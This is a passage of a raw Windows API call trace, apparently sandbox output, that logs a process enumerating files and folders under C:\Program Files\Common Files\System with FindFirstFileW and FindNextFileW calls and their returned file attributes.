lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.249] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0044.249] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0044.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0044.249] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0044.250] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0044.250] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0044.250] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.252] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0044.252] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.252] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0044.252] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0044.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0044.252] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0044.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0044.254] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.254] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0044.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.256] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.256] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0044.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.257] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.257] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0044.257] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.257] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0044.258] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.258] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0044.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.258] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.258] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0044.259] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.259] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0044.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.261] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.261] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0044.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.263] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.263] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0044.263] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.264] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0044.266] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.266] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0044.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.267] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.267] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.267] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.267] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0044.267] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.267] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0044.268] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.268] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0044.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.270] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.270] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.270] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.270] FindNextFileW (in: hFindFile=0x3f02248, 